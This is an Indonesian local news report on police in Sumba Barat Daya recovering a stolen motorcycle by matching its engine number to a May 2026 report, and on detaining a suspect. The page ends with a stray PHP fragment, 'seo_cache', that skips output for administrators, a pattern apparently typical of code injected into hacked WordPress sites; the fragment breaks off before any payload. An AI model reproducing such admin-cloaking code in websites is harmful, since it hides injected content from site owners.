Kriminal

Motor Hilang Sejak Mei Ditemukan, Satreskrim Polres SBD Amankan Terduga Pelaku

×

Motor Hilang Sejak Mei Ditemukan, Satreskrim Polres SBD Amankan Terduga Pelaku

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Satuan Reserse Kriminal (Satreskrim) Polres Sumba Barat Daya (SBD) berhasil mengamankan terduga pelaku pencurian kendaraan bermotor (curanmor) beserta barang bukti berupa sepeda motor yang sebelumnya dilaporkan hilang.

Kasatreskrim Polres SBD, IPTU Yakobus K. Sanam, SH, menjelaskan, pengungkapan kasus tersebut merupakan hasil kerja keras anggota di lapangan yang selama ini terus melakukan penyelidikan dan memanfaatkan jaringan informan.

“Selama ini kami pasang informan di luar dan anggota terus bekerja melakukan pemantauan terkait setiap laporan masyarakat, termasuk kasus pencurian kendaraan bermotor,” ujar IPTU Yakobus kepada media ini, Senin (08/06/2026).

Kasatreskrim Polres SBD, IPTU Yakobus K. Sanam, SH. ( Foto Menara Sumba )

Menurutnya, pada Minggu (07/06/2026) malam pihaknya menerima informasi dari pemilik kendaraan yang mengaku menemukan motor yang sebelumnya hilang.

Namun karena masih ragu, pemilik kendaraan kemudian menghubungi pihak kepolisian untuk memastikan identitas kendaraan tersebut.

Menindaklanjuti laporan itu, Kasatreskrim langsung memerintahkan KBO Reskrim bersama tim Unit Reaksi Cepat (URC) untuk turun ke lokasi dan mendalami informasi yang diterima.

Tim kemudian melakukan pemeriksaan dengan mencocokkan nomor mesin kendaraan dengan data yang tercantum dalam laporan polisi tertanggal 24 Mei 2026, serta dokumen kendaraan berupa BPKB dan STNK.

“Hasil pengecekan menunjukkan bahwa nomor mesin kendaraan tersebut sesuai dengan laporan polisi yang telah kami terima sebelumnya. Setelah dipastikan identik, kendaraan langsung kami amankan,” jelasnya.

Tidak berhenti pada pengamanan barang bukti, polisi juga bergerak cepat untuk mengidentifikasi dan mengamankan terduga pelaku.

Saat ini, Unit Pidana Umum (Pidum) Satreskrim Polres SBD masih melakukan pemeriksaan intensif guna mendalami peran masing-masing pihak yang terlibat dalam kasus tersebut.

IPTU Yakobus menambahkan, dalam waktu dekat penyidik akan menggelar perkara untuk menentukan status penanganan kasus, termasuk kemungkinan peningkatan dari tahap penyelidikan ke tahap penyidikan.

“Dalam waktu dekat kami akan laksanakan gelar perkara untuk pastikan status penanganan perkara ini dan langkah hukum selanjutnya,” tegas Kasatreskrim.

Ia menegaskan komitmen untuk terus menindak tegas pelaku tindak pidana serta memberikan rasa aman kepada masyarakat melalui pengungkapan kasus-kasus kriminal yang meresahkan. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>